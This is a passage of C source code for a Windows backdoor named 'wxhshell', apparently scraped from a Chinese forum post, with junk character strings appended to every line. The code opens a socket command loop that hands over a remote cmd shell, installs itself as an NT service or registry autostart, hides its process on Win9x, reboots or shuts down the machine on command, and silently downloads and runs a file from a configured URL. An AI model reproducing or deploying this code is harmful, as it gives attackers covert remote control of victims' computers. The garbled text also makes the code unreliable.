    switch(cmd[0]) { m6r )Z5}f  
  N+M&d3H`  
  // 帮助 n<:d%&^n  
  case '?': { vaRwh E:  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); dA} 72D?  
    break; MpA;cw]cI/  
  } 0O#B'Uu  
  // 安装 R==cz^#  
  case 'i': { Ejms)JK+  
    if(Install()) 0R}Sw[M.  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); >_`D3@Rz  
    else [DxefYyI  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ZSRR lkU  
    break; M> jBm .  
    } ls24ccOs  
  // 卸载 t\pK`DM-[  
  case 'r': { !p,hy `  
    if(Uninstall()) G|-\T(&J  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6"i{P  
    else :Jeo_}e 0  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); @mx$sNDkL  
    break; \$'m ^tVU  
    } 7y)=#ZG'R  
  // 显示 wxhshell 所在路径 *1W, M zg  
  case 'p': { 7<:Wq=e!r  
    char svExeFile[MAX_PATH]; 3_MS'&M  
    strcpy(svExeFile,"\n\r"); V[Rrst0yo  
      strcat(svExeFile,ExeFile); +lW}ixt  
        send(wsh,svExeFile,strlen(svExeFile),0); u\XkXS`  
    break; 8pPC 9ew\=  
    } ``$%L=_m  
  // 重启 x_<bK$OU  
  case 'b': { a_{io`h3&  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 0TO_1 0D  
    if(Boot(REBOOT)) eOehgU5x  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5e)6ua,  
    else { 2 {e dW+  
    closesocket(wsh); 7-d}pgVK  
    ExitThread(0); {OO*iZ.O  
    } ov`^o25f  
    break; ?+n&hHRg  
    } qBy NHo7Tb  
  // 关机 i Y*o;z,~  
  case 'd': { )@]6=*%  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ])V2}gH  
    if(Boot(SHUTDOWN)) *:\:5*SY  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); "Ap$ Jl B  
    else { vm\wO._  
    closesocket(wsh); 9q1HSJ1)  
    ExitThread(0); 5wH54g j}  
    } TCHqe19?  
    break; f v E+.{  
    } >gk z4.*  
  // 获取shell dG\U)WA(p  
  case 's': { s:+HRJD|  
    CmdShell(wsh); pw,O"6J*  
    closesocket(wsh); Jcz]J)|5v  
    ExitThread(0); id;#{O$  
    break; b96t0w!cs  
  } 7uPZuXHxcu  
  // 退出 NoCDY2 $  
  case 'x': { R9Sf!LR  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); /l,+oG%\  
    CloseIt(wsh); YlswSQ  
    break; )bLGEmm  
    } "1XXE3^^  
  // 离开 VG_uxKY  
  case 'q': { +0XL5( '2  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); =db'#m{$  
    closesocket(wsh); I@0z/4H``  
    WSACleanup(); CmEpir{}(  
    exit(1); ,3Wb4so  
    break; L*g. 6+2  
        } 5Vp;dc  
  } JEWL)  
  } d/D,P=j"  
 0]AN;  
  // 提示信息 )0#j\ B  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); D##+)`dK  
} 2+?T66 g  
  } sm 's-gD  
G2.|fp_}pG  
  return; pheE^jUr  
} GE1i+.+-.  
T@TIz z  
// shell模块句柄 %#~((m1  
int CmdShell(SOCKET sock) n*4lz^LR  
{ }]AT _bh,  
STARTUPINFO si; ?X\3&Ujy$  
ZeroMemory(&si,sizeof(si)); CSMeSPOm]  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ,E\h!/X  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; OT%0{2c"]  
PROCESS_INFORMATION ProcessInfo; ]N*L7AVl  
char cmdline[]="cmd"; v" }WP34  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); (` 5FZgN  
  return 0; eR:b=%T8  
} opsQn\4DZ?  
aaDP9FW9e  
// 自身启动模式 )Im3'0l>  
int StartFromService(void) 9\HR60V  
{ gtiEhCF2W  
typedef struct qv[[Q[RK-5  
{ $ +;+:K  
  DWORD ExitStatus; |]`hXr  
  DWORD PebBaseAddress; \(I0wEQo$  
  DWORD AffinityMask; @q K]JK  
  DWORD BasePriority; a1Hz3y~S/  
  ULONG UniqueProcessId; HcRa`Sfc]/  
  ULONG InheritedFromUniqueProcessId; ]r4bRK[1  
}   PROCESS_BASIC_INFORMATION; qO-9 x0v#  
/<);=&[  
PROCNTQSIP NtQueryInformationProcess; QK)){ cK  
y$X(S\W  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; (n,u|}8Y  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 4({( i  
C{ EAmv'  
  HANDLE             hProcess; oM!xz1kVL  
  PROCESS_BASIC_INFORMATION pbi; r-}-C!  
0}{'C5  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 7 8Vcu'j&_  
  if(NULL == hInst ) return 0; hi ~}  
S,)d(g3>  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); k1)%.pt%  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ? B@&#E!/f  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 9mlIbEAb  
JK]R*!{n  
  if (!NtQueryInformationProcess) return 0; h.)h@$d  
*U;'OWE[  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 9'?se5\  
  if(!hProcess) return 0; b_TS<,  
98R KCc9h  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ~@T<gA9V  
IOL L1ar  
  CloseHandle(hProcess); Q8T`wd$D#  
3 iRA$C-p  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); #]CFA9 z  
if(hProcess==NULL) return 0; 41G5!=i  
5G(3vRX|1  
HMODULE hMod; +k.%PO0np  
char procName[255]; (a@?s$LG  
unsigned long cbNeeded; rq sdE  
`:e U.  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); -&|: 0#@P  
#sTEQjJ,J  
  CloseHandle(hProcess); 5 c5oSy+  
pd3,pQ  
if(strstr(procName,"services")) return 1; // 以服务启动 Z&Y=`GOI  
$<nCXVqL,  
  return 0; // 注册表启动 %@Oma  
} & $'z  
V8WFQdXc  
// 主模块 uI~s8{0T6  
int StartWxhshell(LPSTR lpCmdLine) )[L^Dmd,  
{ ).5RPAP  
  SOCKET wsl; Df4+^B,1  
BOOL val=TRUE; 5!I4l1  
  int port=0; Q8D&tJg  
  struct sockaddr_in door; lhH`dG D  
a2w T6jY  
  if(wscfg.ws_autoins) Install(); Ml?~ |_  
iDoDwq!l_  
port=atoi(lpCmdLine); #*9-d/K  
 7I=C+  
if(port<=0) port=wscfg.ws_port; a,|?5j9,P  
?m7:if+ y  
  WSADATA data; ujFzJdp3k  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; [kV;[c}  
fpWg R4__  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Os&n  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Su8|R"qU  
  door.sin_family = AF_INET; \25/$Ae}c  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); cc}Key@D  
  door.sin_port = htons(port); 0nJE/JZ  
7y^%7U \  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { GsQ*4=C  
closesocket(wsl); T!RT<&  
return 1; 1PH: \0}  
} OFk8>"|  
gU&%J4O  
  if(listen(wsl,2) == INVALID_SOCKET) { 5%zXAQD=<  
closesocket(wsl); Pq9|WV#F5/  
return 1; yWDTjY/  
} 7ZxaPkIu&%  
  Wxhshell(wsl); urBc=3Rz  
  WSACleanup(); r H8@69,B  
B9R(&<4  
return 0; 1x)ZB~L  
%" D%:   
} gF?[rqz{  
N8toxRu  
// 以NT服务方式启动 KLoE&ds  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) JyLa#\ R  
{ O.G'?m<: #  
DWORD   status = 0; O.`Jl%  
  DWORD   specificError = 0xfffffff; k o;>#::  
= ?D(g  
  serviceStatus.dwServiceType     = SERVICE_WIN32; tVuWVJ4M  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; _"@CGXu  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; `x8J  
  serviceStatus.dwWin32ExitCode     = 0; xu5ia|gYz7  
  serviceStatus.dwServiceSpecificExitCode = 0; NLS"eD m  
  serviceStatus.dwCheckPoint       = 0; k%s_0 @  
  serviceStatus.dwWaitHint       = 0; <BFQ:  
M`YWn ;  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); >Fio;cn?  
  if (hServiceStatusHandle==0) return; 54lu2gD'  
XfPFo6  
status = GetLastError(); 7?j;7.i s(  
  if (status!=NO_ERROR) IU FH:w]  
{ M<O{O}t<  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Vd^g9  
    serviceStatus.dwCheckPoint       = 0; E 99hlY~1:  
    serviceStatus.dwWaitHint       = 0; $YxBE`)d-  
    serviceStatus.dwWin32ExitCode     = status; (*}yjUYLZ  
    serviceStatus.dwServiceSpecificExitCode = specificError; j9Yb x#  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^G&3sF}  
    return; ">f erhN9  
  } &LO"g0w  
aj8A8ma*}  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ]aP= Ks%  
  serviceStatus.dwCheckPoint       = 0; :x.7vZzxs  
  serviceStatus.dwWaitHint       = 0; "Z Htr<+  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); :y*NM,s  
} m>USD? i  
>~%e$a7}+  
// 处理NT服务事件,比如:启动、停止 +#U|skl  
VOID WINAPI NTServiceHandler(DWORD fdwControl) &Z(K6U#.  
{ **9x?s  
switch(fdwControl) n0Y+b[ +wj  
{ ^;!0j9"* :  
case SERVICE_CONTROL_STOP: $mf u:tbP  
  serviceStatus.dwWin32ExitCode = 0; ,.eWQK~  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 1b=lpw 1}  
  serviceStatus.dwCheckPoint   = 0; oSiMpQu08  
  serviceStatus.dwWaitHint     = 0; |4$M]Mf0  
  { b@RHc!,>jV  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); `&\Q +W  
  } X%z }VA  
  return; +$4(zP s@  
case SERVICE_CONTROL_PAUSE: 8n1'x;  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ! cKz7?w  
  break; B9p?8.[  
case SERVICE_CONTROL_CONTINUE: s { #3r  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Uc/+gz Z;  
  break; #/PAA  
case SERVICE_CONTROL_INTERROGATE: DPi_O{W>  
  break; 5T sUQc  
}; HeBcT^a  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); *6HTV0jv  
} COH<Tj  
J>fQNW!{  
// 标准应用程序主函数 mF` B#  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) g^*<f8 ~d  
{ ;^t{Il'j  
N0hE4t  
// 获取操作系统版本 dJ$"l|$$  
OsIsNt=GetOsVer(); fXrXV~'8  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 93t9^9  
_|h8q-[3  
  // 从命令行安装 /mo(_  
  if(strpbrk(lpCmdLine,"iI")) Install(); s4&^D<  
h-iJlm  
  // 下载执行文件 rG,5[/l  
if(wscfg.ws_downexe) { z-M3  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK)  >S$Z  
  WinExec(wscfg.ws_filenam,SW_HIDE); ss;R8:5  
} 8~5cJPi6  
a0r"N[&  
if(!OsIsNt) { l7&$}x -  
// 如果时win9x,隐藏进程并且设置为注册表启动 [O: !(G je  
HideProc(); SG6sw]x  
StartWxhshell(lpCmdLine); j*~T1i  
} ySI~{YVM  
else 9 \^|6k,  
  if(StartFromService()) Mq';S^  
  // 以服务方式启动 AwQ?l(iZ"p  
  StartServiceCtrlDispatcher(DispatchTable); % ,+leKs  
else k,euhA/&  
  // 普通方式启动 oK 6(HF'&  
  StartWxhshell(lpCmdLine); f/CuE%7BR  
4CGPO c  
return 0; ^eW}XRI  
}
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只看该作者 1 发表于: 2006-10-10
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